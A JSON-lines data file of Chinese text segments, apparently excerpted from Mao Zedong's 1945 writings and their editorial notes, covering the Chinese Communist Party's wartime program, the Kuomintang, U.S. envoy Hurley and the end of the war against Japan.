    {"text": "他们应该热情地跑到农村中去，脱下学生装，穿起粗布衣，不惜从任何小事情做起，在那里了解农民的要求，帮助农民觉悟起来，组织起来，为着完成中国民主革命中一项极其重要的工作，即农村民主革命而奋斗。"},
    {"text": "一个不是贫弱的而是富强的中国，是和一个不是殖民地半殖民地的而是独立的，不是半封建的而是自由的、民主的，不是分裂的而是统一的中国，相联结的。"},
    {"text": "在一个半殖民地的、半封建的、分裂的中国里，要想发展工业，建设国防，福利人民，求得国家的富强，多少年来多少人做过这种梦，但是一概幻灭了。"},
    {"text": "中国人民在抗日战争中学得了许多东西，知道在日本侵略者被打败以后，有建立一个新民主主义的独立、自由、民主、统一、富强的中国之必要，而这些条件是互相关联的，不可缺一的。"},
    {"text": "在新民主主义的政治条件获得之后，中国人民及其政府必须采取切实的步骤，在若干年内逐步地建立重工业和轻工业，使中国由农业国变为工业国。 新民主主义的国家，如无巩固的经济做它的基础，如无进步的比较现时发达得多的农业，如无大规模的在全国经济比重上占极大优势的工业以及与此相适应的交通、贸易、金融等事业做它的基础，是不能巩固的。"},
    {"text": "在北伐战争、土地革命战争和抗日战争三个时期中，中国工人阶级和中国共产党，对于中国人民的解放事业，作了极大的努力和极有价值的贡献。"},
    {"text": "在最后打败日本侵略者的斗争中，特别是在收复大城市和交通要道的斗争中，中国工人阶级将起着极大的作用。 在抗日结束以后，可以预断，中国工人阶级的努力和贡献将会是更大的。 中国工人阶级的任务，不但是为着建立新民主主义的国家而斗争，而且是为着中国的工业化和农业近代化而斗争。"},
    {"text": "为着扫除民族压迫和封建压迫，为着建立新民主主义的国家，需要大批的人民的教育家和教师，人民的科学家、工程师、技师、医生、新闻工作者、著作家、文学家、艺术家和普通文化工作者。"},
    {"text": "中国是一个被民族压迫和封建压迫所造成的文化落后的国家，中国的人民解放斗争迫切地需要知识分子，因而知识分子问题就特别显得重要。 而在过去半世纪的人民解放斗争，特别是五四运动 〔22〕 以来的斗争中，在八年抗日战争中，广大革命知识分子对于中国人民解放事业所起的作用，是很大的。"},
    {"text": "对于外国文化，排外主义的方针是错误的，应当尽量吸收进步的外国文化，以为发展中国新文化的借镜； 盲目搬用的方针也是错误的，应当以中国人民的实际需要为基础，批判地吸收外国文化。"},
    {"text": "一九四三年对于伊克昭盟蒙族人民的屠杀事件 〔24〕 ，一九四四年直至现在对于新疆少数民族的武力镇压事件 〔25〕 ，以及近几年对于甘肃回民的屠杀事件 〔26〕 ，就是明证。"},
    {"text": "一九二四年，孙中山先生在其所著的《中国国民党第一次全国代表大会宣言》里说：“国民党之民族主义，有两方面之意义：一则中国民族自求解放；"},
    {"text": "”“国民党敢郑重宣言，承认中国以内各民族之自决权，于反对帝国主义及军阀之革命获得胜利以后，当组织自由统一的（各民族自由联合的）中华民国。"},
    {"text": "共产党人必须积极地帮助各少数民族的广大人民群众为实现这个政策而奋斗； 必须帮助各少数民族的广大人民群众，包括一切联系群众的领袖人物在内，争取他们在政治上、经济上、文化上的解放和发展，并成立维护群众利益的少数民族自己的军队。"},
    {"text": "第十 外交问题 中国共产党同意大西洋宪章和莫斯科、开罗、德黑兰、克里米亚各次国际会议 〔27〕 的决议，因为这些国际会议的决议都是有利于打败法西斯侵略者和维持世界和平的。"},
    {"text": "中国共产党的外交政策的基本原则，是在彻底打倒日本侵略者，保持世界和平，互相尊重国家的独立和平等地位，互相增进国家和人民的利益及友谊这些基础之上，同各国建立并巩固邦交，解决一切相互关系问题，例如配合作战、和平会议、通商、投资等等。"},
    {"text": "我们要求各同盟国政府，首先是美英两国政府，对于中国最广大人民的呼声，加以严重的注意，不要使他们自己的外交政策违反中国人民的意志，因而损害同中国人民之间的友谊。"},
    {"text": "这种实际上的真正的平等地位，决不能单靠外国政府的给予，主要地应靠中国人民自己努力争取，而努力之道就是把中国在政治上经济上文化上建设成为一个新民主主义的国家，否则便只会有形式上的独立、平等，在实际上是不会有的。"},
    {"text": "我们认为在日本侵略者被打败并无条件投降之后，为着彻底消灭日本的法西斯主义、军国主义及其所由产生的政治、经济、社会的原因，必须帮助一切日本人民的民主力量建立日本人民的民主制度。 没有日本人民的民主制度，便不能彻底地消灭日本法西斯主义和军国主义，便不能保证太平洋的和平。"},
    {"text": "对于南洋各国——缅甸、马来亚、印度尼西亚、越南、菲律宾，我们希望这些国家的人民在日本侵略者被打败以后，能够得到建立独立的民主的国家制度的权利。"},
    {"text": "中国共产党在其为中国人民的解放事业而奋斗的二十四年中，创造了这样的地位，就是说，不论什么政党或社会集团，也不论是中国人或外国人，在有关中国的问题上，如果采取不尊重中国共产党的意见的态度，那是极其错误而且必然要失败的。"},
    {"text": "国民党内也有许多人，对于他们自己的领导机关的政策，日益表示怀疑和不满，日益感觉他们的党在广大人民中孤立起来的危险性，而要求有一种适合时宜的民主的改革。"},
    {"text": "目前运动的弱点，在于社会的基层分子还没有广泛地参加，地位非常重要而生活痛苦不堪的农民、工人、士兵和下层公教人员，还没有组织起来。 目前运动的另一弱点，是参加运动的民主分子中，还有许多人对于根据民主原则发动斗争以求转变时局这一个基本方针，还缺乏明确的和坚决的精神。"},
    {"text": "国民党统治区内被压迫的一切阶层、党派和集团的民主运动，应当有一个广大的发展，并把分散的力量逐渐统一起来，为着实现民族团结，建立联合政府，打败日本侵略者和建设新中国而斗争。"},
    {"text": "中国沦陷区的任务 在沦陷区，共产党人应当号召一切抗日人民，学习法国和意大利的榜样，将自己组织于各种团体中，组织地下军，准备武装起义，一俟时机成熟，配合从外部进攻的军队，里应外合地消灭日本侵略者。"},
    {"text": "日本侵略者及其忠实走狗，对于我沦陷区内的兄弟姊妹们的摧残、掠夺、奸淫和侮辱，激起了一切中国人的火一样的愤怒，报仇雪耻的时机快要到来了。"},
    {"text": "因此，我们必须将沦陷区的工作提到和解放区的工作同等重要的地位上。 必须有大批工作人员到沦陷区去工作。 必须就沦陷区人民中训练和提拔大批的积极分子，参加当地的工作。"},
    {"text": "应当向一切帮助敌人反对同胞的伪军伪警及其他人员提出警告：他们必须赶快认识自己的罪恶行为，及时回头，帮助同胞反对敌人，借以赎回自己的罪恶。"},
    {"text": "对于国民党内组织汉奸反对中国人民、中国共产党、八路军、新四军和其他人民军队的背叛民族的反动分子，必须向他们提出警告，叫他们早日悔罪。"},
    {"text": "中国解放区的任务 我党的全部新民主主义的纲领已经在解放区实行了并且有了显著的成绩，聚集了巨大的抗日力量，今后应当从各方面发展和巩固这种力量。 在目前条件下，解放区的军队应向一切被敌伪占领而又可能攻克的地方，发动广泛的进攻，借以扩大解放区，缩小沦陷区。"},
    {"text": "但是同时应当注意，敌人在目前还是有力量的，它还可能向解放区发动进攻。 解放区军民必须随时准备粉碎敌人的进攻，并注意解放区的各项巩固工作。 应当扩大解放区的军队、游击队、民兵和自卫军，并加紧整训，增强战斗力，为最后打败侵略者准备充分的力量。"},
    {"text": "共产党人在各个地方性的联合政府的工作中，在社会工作中，应当继续同一切抗日民主分子，在新民主主义纲领的基础上，进行很好的合作。 同样，在军事工作中，共产党人应当同一切愿意和我们合作的抗日民主分子，在解放区军队的内部和外部，很好地合作。"},
    {"text": "为着提高解放区人民大众首先是广大的工人、农民、士兵群众的觉悟程度和培养大批工作干部，必须发展解放区的文化教育事业。 解放区的文化工作者和教育工作者在推进他们的工作时，应当根据目前的农村特点，根据农村人民的需要和自愿的原则，采用适宜的内容和形式。"},
    {"text": "一切从外地去的人，如果不和本地人打成一片，如果不是满腔热情地勤勤恳恳地并适合情况地去帮助本地干部，爱惜他们，如同爱惜自己的兄弟姊妹一样，那就不能完成农村民主革命这个伟大的任务。"},
    {"text": "八路军、新四军及其他人民军队，每到一地，就应立即帮助本地人民，不但要组织以本地人民的干部为领导的民兵和自卫军，而且要组织以本地人民的干部为领导的地方部队和地方兵团。"},
    {"text": "我们的大会应向各解放区人民提议，尽可能迅速地在延安召开中国解放区人民代表会议 〔29〕 ，以便讨论统一各解放区的行动，加强各解放区的抗日工作，援助国民党统治区人民的抗日民主运动，援助沦陷区人民的地下军运动，促进全国人民的团结和联合政府的成立。"},
    {"text": "五 全党团结起来，为实现 党的任务而斗争 同志们，我们已经了解了我们的任务和我们为完成这些任务所采取的政策，那末，我们应该用怎样的工作态度去执行这些政策和完成这些任务呢？"},
    {"text": "我们的党和中国人民一道，不论在整个党的二十四年历史中，在八年抗日战争中，为中国人民创造了巨大的力量，我们的工作成绩是很显然的，毫无疑义的。"},
    {"text": "中国共产党自从一九二一年诞生以来，在其二十四年的历史中，经历了三次的伟大斗争，这就是北伐战争、土地革命战争和现在还在进行中的抗日战争。"},
    {"text": "马克思列宁主义的普遍真理一经和中国革命的具体实践相结合，就使中国革命的面目为之一新，产生了新民主主义的整个历史阶段。 以马克思列宁主义的理论思想武装起来的中国共产党，在中国人民中产生了新的工作作风，这主要的就是理论和实践相结合的作风，和人民群众紧密地联系在一起的作风以及自我批评的作风。 反映了全世界无产阶级实践斗争的马克思列宁主义的普遍真理，在它同中国无产阶级和广大人民群众的革命斗争的具体实践相结合的时候，就成为中国人民百战百胜的武器。"},
    {"text": "全心全意地为人民服务，一刻也不脱离群众； 一切从人民的利益出发，而不是从个人或小集团的利益出发； 向人民负责和向党的领导机关负责的一致性；"},
    {"text": "共产党人必须随时准备坚持真理，因为任何真理都是符合于人民利益的； 共产党人必须随时准备修正错误，因为任何错误都是不符合于人民利益的。"},
    {"text": "教条主义、经验主义、命令主义、尾巴主义、宗派主义、官僚主义、骄傲自大的工作态度等项弊病之所以一定不好，一定要不得，如果什么人有了这类弊病一定要改正，就是因为它们脱离群众。"},
    {"text": "根据群众的觉悟程度，去启发和提高群众的觉悟，在群众出于内心自愿的原则之下，帮助群众逐步地组织起来，逐步地展开为当时当地内外环境所许可的一切必要的斗争。"},
    {"text": "许多时候，广大群众跑到我们的前头去了，迫切地需要前进一步了，我们的同志不能做广大群众的领导者，却反映了一部分落后分子的意见，并且将这种落后分子的意见误认为广大群众的意见，做了落后分子的尾巴。"},
    {"text": "总之，应该使每个同志明了，共产党人的一切言论行动，必须以合乎最广大人民群众的最大利益，为最广大人民群众所拥护为最高标准。 应该使每一个同志懂得，只要我们依靠人民，坚决地相信人民群众的创造力是无穷无尽的，因而信任人民，和人民打成一片，那就任何困难也能克服，任何敌人也不能压倒我们，而只会被我们所压倒。"},
    {"text": "对于我们，经常地检讨工作，在检讨中推广民主作风，不惧怕批评和自我批评，实行“知无不言，言无不尽”，“言者无罪，闻者足戒”，“有则改之，无则加勉”这些中国人民的有益的格言，正是抵抗各种政治灰尘和政治微生物侵蚀我们同志的思想和我们党的肌体的唯一有效的方法。 以“惩前毖后，治病救人”为宗旨的整风运动之所以发生了很大的效力，就是因为我们在这个运动中展开了正确的而不是歪曲的、认真的而不是敷衍的批评和自我批评。 以中国最广大人民的最大利益为出发点的中国共产党人，相信自己的事业是完全合乎正义的，不惜牺牲自己个人的一切，随时准备拿出自己的生命去殉我们的事业，难道还有什么不适合人民需要的思想、观点、意见、办法，舍不得丢掉的吗？"},
    {"text": "无数革命先烈为了人民的利益牺牲了他们的生命，使我们每个活着的人想起他们就心里难过，难道我们还有什么个人利益不能牺牲，还有什么错误不能抛弃吗？"},
    {"text": "我们的党，在北伐战争时期，不超过六万党员，后来大部分被当时的敌人打散了； 在土地革命战争时期，不超过三十万党员，后来大部分也被当时的敌人打散了。"},
    {"text": "只要我们能吸取三个时期的经验，采取谦虚态度，防止骄傲态度，在党内，和全体同志更好地团结起来，在党外，和全国人民更好地团结起来，就可以保证，不但不会被敌人打散，相反地，一定要把日本侵略者及其忠实走狗坚决、彻底、干净、全部地消灭掉，并且在消灭他们之后，把一个新民主主义的中国建设起来。 三次革命的经验，尤其是抗日战争的经验，给了我们和中国人民这样一种信心：没有中国共产党的努力，没有中国共产党人做中国人民的中流砥柱，中国的独立和解放是不可能的，中国的工业化和农业近代化也是不可能的。"},
    {"text": "〔2〕 热河，原来是一个省，一九五五年撤销，原辖地区划归河北、辽宁两省和内蒙古自治区。 察哈尔，原来也是一个省，一九五二年撤销，原辖地区划归河北、山西两省。"},
    {"text": "〔6〕 中华民族解放先锋队，简称“民先队”，是一二九运动中的先进青年在中国共产党领导下所组织的革命青年团体，成立于一九三六年二月。"},
    {"text": "〔9〕 “曲线救国”，是抗日战争时期国民党内一些顽固派分子为实行降日反共而制造的一种叛国谬论。 他们指使或支持一部分国民党军队和官员投降日本侵略者，变成伪军、伪官，和日军一起进攻抗日根据地，并将这种叛国投敌行为诡称为“曲线救国”。"},
    {"text": "一九三二年八月，蒋介石在河南、湖北、安徽三省颁布《各县编查保甲户口条例》，其中规定“保甲之编组以户为单位，户设户长，十户为甲，甲设甲长，十甲为保，保设保长”，实行各户互相监视和互相告发的联保连坐法，以及各项反革命的强迫劳役办法。"},
    {"text": "〔24〕 一九四二年冬至一九四三年春，驻内蒙伊克昭盟的国民党反动军队，强行霸占蒙族人民的牧地，并且向当地人民勒索大量粮食、牲畜。 一九四三年三月二十六日，伊克昭盟的蒙族保安队和人民群众被迫发动了武装反抗。"},
    {"text": "〔25〕 一九四四年九月，新疆北部伊犁地区的少数民族人民，为了反对国民党反动派的民族压迫和经济掠夺，发动了声势浩大的武装起义。 这次起义先后同阿山、塔城一带的起义武装联合，占领了新疆北部的大部分地区，所以又被称为“三区革命”。"},
    {"text": "〔26〕 这里是指一九四二年、一九四三年国民党反动派对甘肃省南部回、汉、藏等族起义农民的屠杀事件。 一九四二年冬，甘肃省南部临洮、康乐一带的农民，为了反对国民党反动派的横征暴敛、抓兵抓伕等反动措施，在回民马福善等率领下，发动了大规模的武装起义。"},
    {"text": "莫斯科会议是一九四三年十月苏、美、英三国外长在莫斯科举行的会议。 德黑兰会议是一九四三年十一月至十二月苏、美、英三国首脑在伊朗首都德黑兰举行的会议。 克里米亚会议是一九四五年二月苏、美、英三国首脑在苏联南部克里米亚半岛雅尔塔举行的会议。"},
    {"text": "当时所有这些国际会议都决定以联合的力量击败法西斯德国和日本，并在战后防止侵略势力和法西斯残余的再起，维护世界和平，赞助各国人民的独立民主的愿望。"},
    {"text": "〔28〕 一九四四年八月至十月，苏、美、英、中四国代表按照莫斯科会议和德黑兰会议的决定，在美国首都华盛顿郊区的敦巴顿橡树园举行会议，草拟了联合国机构的组织草案。"},
    {"text": "〔29〕 中国共产党第七次全国代表大会以后，一九四五年七月十三日，各解放区、各人民团体以及八路军、新四军等各方面的代表，曾在延安开会，成立“中国解放区人民代表会议筹备委员会”。"},
    {"text": "我们做了三件事：第一，决定了党的路线，这就是放手发动群众，壮大人民力量，在我党的领导下，打败日本侵略者，解放全国人民，建立一个新民主主义的中国。"},
    {"text": "同志们到各地去，要宣传大会的路线，并经过全党同志向人民作广泛的解释。 我们宣传大会的路线，就是要使全党和全国人民建立起一个信心，即革命一定要胜利。"},
    {"text": "但这还不够，还必须使全国广大人民群众觉悟，甘心情愿和我们一起奋斗，去争取胜 *这是毛泽东在中国共产党第七次全国代表大会上的闭幕词。"},
    {"text": "现在的世界潮流，民主是主流，反民主的反动只是一股逆流。 目前反动的逆流企图压倒民族独立和人民民主的主流，但反动的逆流终究不会变为主流。"},
    {"text": "现在依然如斯大林很早就说过的一样，旧世界有三个大矛盾：第一个是帝国主义国家中的无产阶级和资产阶级的矛盾，第二个是帝国主义国家之间的矛盾，第三个是殖民地半殖民地国家和帝国主义宗主国之间的矛盾 〔4〕 。"},
    {"text": "我们坚决相信，中国人民将要在中国共产党领导之下，在中国共产党第七次大会的路线的领导之下，得到完全的胜利，而国民党的反革命路线必然要失败。"},
    {"text": "论军队生产自给，兼论整风和生产两大运动的重要性 论军队生产自给，兼论整风 和生产两大运动的重要性 * （一九四五年四月二十七日） 我们的军队在遭受极端物质困难的目前状况之下，在分散作战的目前状况之下，切不可将一切物质供给责任都由上面领导机关负起来，这样既束缚了下面广大人员的手足，而又不可能满足下面的要求。"},
    {"text": "只要上面善于提出任务，放手让下面自力更生，问题就解决了，而且能够更加完善地解决它。 如果上面不去这样作，而把一切事实上担负不起来的担子老是由自己担起来，不敢放手让下面去做，不去发动广大群众自力更生的积极性，虽然上面费尽了气力，结果将是上下交困，在目前条件下永远也不能解决问题。"},
    {"text": "但是，在我们的条件下——国家贫困、国家分裂（这些都是国民党主要统治集团所造成的罪恶结果）以及分散的长期的人民游击战争，我们这样做，就是进步的了。"},
    {"text": "至于因为我们采用了这种表面上“落后的”、“倒退的”办法，而使我们的军队克服了生活资料的困难，改善了生活，个个身强力壮，足以减轻同在困难中的人民的赋税负担，因而取得人民的拥护，足以支持长期战争，并足以扩大军队，因而也就能够扩大解放区，缩小沦陷区，达到最后地消灭侵略者、解放全中国的目的。"},
    {"text": "一九四二和一九四三两年先后开始的带普遍性的整风运动和生产运动，曾经分别地在精神生活方面和物质生活方面起了和正在起着决定性的作用。"},
    {"text": "大家明白，我们在一九三七年以前入党的党员，剩下的不过数万人，而我们现在的党员是一百二十多万，其中大多数是农民及其他小资产阶级出身的，他们有很可爱的革命积极性，并愿接受马克思主义的训练；"},
    {"text": "但是，我们在大量干部中解决了和正在解决着这个矛盾——党内无产阶级思想和非无产阶级思想（其中有小资产阶级、资产阶级甚至地主阶级的思想，而主要是小资产阶级的思想）之间的矛盾，即马克思主义思想和非马克思主义思想之间的矛盾，我们的党就能够在思想上、政治上、组织上空前统一地（不是完全统一地）大踏步地但又是稳步地前进了。"},
    {"text": "这是伴随着一九四〇年至一九四三年敌人大举进攻和国民党政府发动三次大规模反人民斗争（所谓“反共高潮”） 〔1〕 而来的绝大的困难，绝大的矛盾。"},
    {"text": "赫尔利和蒋介石的双簧已经破产 赫尔利和蒋介石的双簧已经破产 * （一九四五年七月十日） 以粉饰蒋介石独裁统治为目的而召集的四届国民参政会，七月七日在重庆开会。"},
    {"text": "原来这位帝国主义者是极力怂恿蒋介石干这一手的，蒋介石的腰这才敢于在今年元旦的演说 〔2〕 里稍稍硬了起来，至三月一日的演说 〔3〕 而大硬，说是一定要在十一月十二日“还政于民”。"},
    {"text": "四月二日，赫尔利在华盛顿发表声明，除了抹杀中共的地位，污蔑中共的活动，宣称不和中共合作等一派帝国主义的滥调而外，还极力替蒋介石的“国民大会”等项臭物捧场。"},
    {"text": "其原因只有一个，就是：赫尔利蒋介石这一套，不管他们怎样吹得像煞有介事，总之是要牺牲中国人民的利益，进一步破坏中国人民的团结，安放下中国大规模内战的地雷，从而也破坏美国人民及其他同盟国人民的反法西斯战争和战后和平共处的共同利益。"},
    {"text": "按照委员长的说法，中国境内是并无任何“可以咨询民意的负责团体”的，参政会不过是一个吃饭的“团体”而已，今天的“聆取”，于法无据。"},
    {"text": "不过有一点是确实的：自从中国人民群起反对之后，就是热心“君主立宪”的人们也替我们的君主担忧，劝他不要套上被称为猪仔国会的那条绞索，谨防袁世凯 〔4〕 来找替死鬼。"},
    {"text": "及至他“鉴于战事的完全结束为时容或延长，即使战事结束后各地秩序亦未必能于短时期内恢复，所以主张在战局稳定之时即行召集国民大会”，不料那些人们又“肆意攻击”。"},
    {"text": "他在这个演说里，对过去一年国民党军队在日本侵略军进攻面前的溃败一字不提，反而大肆诬蔑人民，反对全国人民和各抗日党派所拥护的关于取消国民党一党专政及成立联合政府和联合统帅部的主张，坚持国民党一党专政，并且以准备召开为全国人民所唾弃的国民党御用的“国民大会”，作为反对人民的挡箭牌。"},
    {"text": "蒋介石除坚持“元旦演说”的反动主张之外，又提出组织有美国代表参加的三人委员会来“整编”八路军新四军，公开地要求美帝国主义者来干涉中国的内政。"},
    {"text": "评赫尔利政策的危险 评赫尔利政策的危险 * （一九四五年七月十二日） 以美国驻华大使赫尔利 〔1〕 为代表的美国对华政策，越来越明显地造成了中国内战的危机。坚持反动政策的国民党政府，从它在十八年前成立之日起，就是以内战为生活的；仅在一九三六年西安事变 〔2〕 和一九三七年日本侵入中国本部这样的时机，才被迫暂时地放弃全国规模的内战。但从一九三九年起，局部的内战又在发动，并且没有停止过。国民党政府在其内部的动员口号是“反共第一”，抗日被放在次要的地位。目前国民党政府一切军事布置的重心，并不是放在反对日本侵略者方面，而是放在向着中国解放区“收复失地”和消灭中国共产党方面。不论是为着抗日战争的胜利，或是战后的和平建设，这种情况均须严重地估计到。罗斯福总统在世时，他是估计到了这一点的，为了美国的利益，他没有采取帮助国民党以武力进攻中国共产党的政策。一九四四年十一月，赫尔利以罗斯福私人代表的资格来到延安的时候，他曾经赞同中共方面提出的废止国民党一党专政、成立民主的联合政府的计划。但是他后来变卦了，赫尔利背叛了他在延安所说的话。这样一种变卦，露骨地表现于四月二日赫尔利在华盛顿所发表的声明。这时候，在同一个赫尔利的嘴里，以蒋介石为代表的国民党政府变成了美人，而中共则变成了魔怪；并且他率直地宣称：美国只同蒋介石合作，不同中共合作。当然这不只是赫尔利个人的意见，而是美国政府中的一群人的意见，但这是错误的而且危险的意见。就在这个时候，罗斯福去世了，赫尔利得意忘形地回到重庆的美国大使馆。这个以赫尔利为代表的美国对华政策的危险性，就在于它助长了国民党政府的反动，增大了中国内战的危机。假如赫尔利政策继续下去，美国政府便将陷在中国反动派的又臭又深的粪坑里拔不出脚来，把它自己放在已经觉醒和正在继续觉醒的几万万中国人民的敌对方面，在目前，妨碍抗日战争，在将来，妨碍世界和平。这一种必然的趋势，难道还看不清楚吗？在中国的前途这个问题上，看清楚了中国人民要求独立、自由、统一的不可阻止的势力必然要代替民族压迫和封建压迫而勃兴的美国一部分舆论界，对于赫尔利式的危险的对华政策，是感到焦急的，他们要求改变这个政策。但是，美国的政策究竟是否改变和哪一天才改变，今天我们还不能说什么。可以确定地说的，就是赞助中国反人民势力和以如此广大的中国人民为敌的这个赫尔利式的政策，如果继续不变的话，那就将给美国政府和美国人民以千钧重负和无穷祸害，这一点，必须使美国人民认识清楚。 注 释 * 这是毛泽东为新华社写的评论。 〔1〕 见本卷《愚公移山》注〔3〕。 〔2〕 参见本书第一卷《关于蒋介石声明的声明》注〔1〕。 给福斯特同志的电报 给福斯特同志的电报 （一九四五年七月二十九日） 福斯特同志和美国共产党中央委员会： 欣悉美国共产主义政治协会特别会议决定抛弃白劳德的修正主义的即投降主义的路线 〔1〕 ，重新确立马克思主义的领导，并已恢复了美国共产党。我们对于美国工人阶级和马克思主义运动的这个伟大的胜利，谨致热烈的祝贺。白劳德的整个修正主义——投降主义路线（这条路线充分表现于白劳德所著《德黑兰》一书中），本质上是反映了美国反动资本集团在美国工人运动中的影响。这个反动资本集团现在也正在力图扩大其影响于中国，赞助中国国民党内反动集团的反民族反人民的错误政策，使中国人民面临着严重的内战危机，危害中美两大国人民的利益。美国工人阶级及其先锋队美国共产党反对白劳德修正主义——投降主义的胜利，对于中美两国人民目前所进行的反日战争和战后建设和平民主世界的伟大事业，无疑地将有重大的贡献。 注 释 〔1〕 白劳德（一八九一——一九七三），曾任美国共产党总书记。在第二次世界大战期间，美国共产党内以白劳德为代表的右倾思想，曾经形成反马克思主义的修正主义——投降主义路线，并于一九四四年四月出版了作为他的纲领性的著作《德黑兰：我们在战争与和平中的道路》一书。白劳德“修正”了列宁主义关于帝国主义是垄断的、腐朽的和垂死的资本主义的基本理论，否认美国资本主义的帝国主义性质，认为它还“保持着青年的资本主义制度的一些特点”，认为美国无产阶级和大资产阶级之间有“共同利害”，主张保护托拉斯制度，经过“阶级调和”来避免美国资本主义所不可避免的危机。白劳德于一九四四年五月，主持解散了美国无产阶级的政党——美国共产党，而另行组织非党的美国共产主义政治协会。白劳德的这一错误路线一开始就遭到以福斯特为首的许多美国共产党员的反对。一九四五年六月，在福斯特领导下，美国共产主义政治协会通过了批判白劳德路线的决议。同年七月，又举行美国共产主义政治协会特别代表大会，决定重建美国共产党。白劳德后来仍然坚持其错误主张，公开拥护杜鲁门政府的帝国主义政策，并进行反党的派别活动，因此在一九四六年二月被开除出党。"},
    {"text": "对日寇的最后一战 对日寇的最后一战 * （一九四五年八月九日） 八月八日，苏联政府宣布对日作战，中国人民表示热烈的欢迎。由于苏联这一行动，对日战争的时间将大大缩短。对日战争已处在最后阶段，最后地战胜日本侵略者及其一切走狗的时间已经到来了。在这种情况下，中国人民的一切抗日力量应举行全国规模的反攻，密切而有效力地配合苏联及其他同盟国作战。八路军、新四军及其他人民军队，应在一切可能条件下，对于一切不愿投降的侵略者及其走狗实行广泛的进攻，歼灭这些敌人的力量，夺取其武器和资财，猛烈地扩大解放区，缩小沦陷区。必须放手组织武装工作队，成百队成千队地深入敌后之敌后，组织人民，破击敌人的交通线，配合正规军作战。必须放手发动沦陷区的千百万群众，立即组织地下军，准备武装起义，配合从外部进攻的军队，消灭敌人。解放区的巩固工作仍应注意。今冬明春，应在现有一万万人民和一切新解放区的人民中，普遍地实行减租减息，发展生产，组织人民政权和人民武装，加强民兵工作，加强军队的纪律，坚持各界人民的统一战线，防止浪费人力物力。凡此一切，都是为着加强我军对敌人的进攻。全国人民必须注意制止内战危险，努力促成民主联合政府的建立。中国民族解放战争的新阶段已经到来了，全国人民应该加强团结，为夺取最后胜利而斗争。 注 释 * 这是毛泽东就苏联对日宣战发表的声明。 第三次国内革命战争时期 第三次国内革命战争时期"},
    {"text": "抗日战争胜利后的时局和我们的方针 抗日战争胜利后的时局 和我们的方针 * （一九四五年八月十三日） 最近几天是远东时局发生极大变动的时候。"},
    {"text": "在抗日战争中间，在一九四〇年、一九四一年和一九四三年，它发动过三次大规模的反共高潮 〔1〕 ，每一次都准备发展成为全国范围的内战，仅仅由于我党的正确政策和全国人民的反对，才没有实现。"},
    {"text": "我们解放区的人民和军队，八年来在毫无外援的情况之下，完全靠着自己的努力，解放了广大的国土，抗击了大部的侵华日军和几乎全部的伪军。"},
    {"text": "当全国规模的内战还没有爆发的时候，人民中间和我们党内的许多同志中间，对于这个问题还不是都认识得清楚的。 因为大规模的内战还没有到来，内战还不普遍、不公开、不大量，就有许多人认为：“不一定吧！ ”还有许多人怕打内战。"},
    {"text": "在党的七次代表大会以前、七次代表大会中间和七次代表大会以后，我们曾经进行了相当充分的工作，唤起人民对于内战危险的注意，使全国人民、我们的党员和军队，早有精神准备。"},
    {"text": "一九二七年的时候，我党还是幼年的党，对于蒋介石的反革命的突然袭击毫无精神准备，以致人民已经取得的胜利果实跟着就失掉了，人民遭受了长期的灾难，光明的中国变成了黑暗的中国。"},
    {"text": "抗战胜利的果实应该属于人民，这是一个问题； 但是，胜利果实究竟落到谁手，能不能归于人民，这是另一个问题。 不要以为胜利的果实都靠得住落在人民的手里。"},
    {"text": "太原以北的同蒲，平绥中段，北宁，郑州以北的平汉，正太，白晋 〔10〕 ，德石，津浦，胶济，郑州以东的陇海，这些地方的中小城市是必争的，这一批中小桃子都是解放区人民流血流汗灌溉起来的。"},
    {"text": "有的，河北、察哈尔、热河 〔11〕 、山西的大部、山东、江苏的北部，这些地方的大块乡村和大批城市，乡村和乡村打成一片，上百的城市一块，七八十个城市一块，四五十个城市一块，大小三、四、五、六块。"},
    {"text": "如果这一次，大小城市几十个联成一块，有了三四五六块的话，中国人民就有了三四五六个大于江西中央区的革命根据地，中国革命的形势就很可观了。"},
    {"text": "但是，在人民中间，主要是在日本占领区和国民党统治区的人民中间，还有相当多的人相信蒋介石，存在着对于国民党和美国的幻想，蒋介石也在努力散布这种幻想。"},
    {"text": "正如毛泽东一九四五年四月在中国共产党第七次全国代表大会的开幕词中所指出的，在打败了日本帝国主义以后，中国仍然有成为一个新中国和还是一个老中国的两种命运，两个前途。"},
    {"text": "以蒋介石为代表的中国大地主大资产阶级，要从人民手中夺取抗日战争胜利的果实，要使中国仍旧成为大地主大资产阶级专政的半殖民地半封建的国家。 代表无产阶级和人民大众利益的中国共产党，一方面要尽力争取和平，反对内战，另一方面必须对于蒋介石发动全国规模内战的反革命计划有充分的准备，采取正确的方针，这就是说，对于帝国主义和反动派不抱幻想，不怕威吓，坚决保卫人民的斗争果实，努力建立无产阶级领导的、人民大众的、新民主主义的新中国。 中国的两种命运、两个前途的决定胜败的斗争，就是从抗日战争结束直到中华人民共和国成立的这个历史时期的内容，这个历史时期就是中国人民解放战争或第三次国内革命战争时期。 蒋介石在美国帝国主义的援助下，在抗日战争结束以后一再撕毁和平的协议，发动了空前的反革命的大内战，企图消灭人民力量。"},
    {"text": "自一九三八年武汉被日军侵占以后，蒋介石自己和他所指挥的很大一部分部队就躲在这些山区里，坐观解放区军民在敌后同日本侵略者作艰苦的斗争。"},
    {"text": "一九四〇年十月十九日和十二月八日，蒋介石曾经用国民政府军事委员会参谋总长何应钦和副参谋总长白崇禧的名义先后发出“皓”“齐”两电，对坚持敌后抗战的八路军、新四军大肆诬蔑，强迫命令黄河以南的八路军、新四军限期撤至黄河以北。"},
    {"text": "国民党政府一九三八年四月颁布的《国民参政会组织条例》第三条中规定：“曾在各重要文化团体或经济团体服务三年以上，著有信望，或努力国事，信望久著之人员”，得为国民参政会参政员。"},
    {"text": "〔11〕 察哈尔，原来是一个省，一九五二年撤销，原辖地区划归河北、山西两省。 热河，原来也是一个省，一九五五年撤销，原辖地区划归河北、辽宁两省和内蒙古自治区。"},
    {"text": "〔12〕 这里所说的二十一个县城，是指江西省的瑞金、会昌、寻乌、安远、信丰、于都、兴国、宁都、广昌、石城、黎川和福建省的建宁、泰宁、宁化、清流、归化（今明溪）、龙岩、长汀、连城、上杭、永定。"},
    {"text": "蒋介石在挑动内战 蒋介石在挑动内战 * （一九四五年八月十三日） 国民党中央宣传部发言人发表谈话说，第十八集团军朱德总司令于八月十日在延安总部所发表的限令敌伪投降的命令 〔1〕 ，是一种“唐突和非法之行动”。"},
    {"text": "根据这种意见，可以逻辑地解释为朱德总司令根据波茨坦公告 〔2〕 和敌人投降的意向，下令给所属部队促使敌伪投降，倒反错了，应该劝使敌伪拒绝投降，才是对的，才算合法。"},
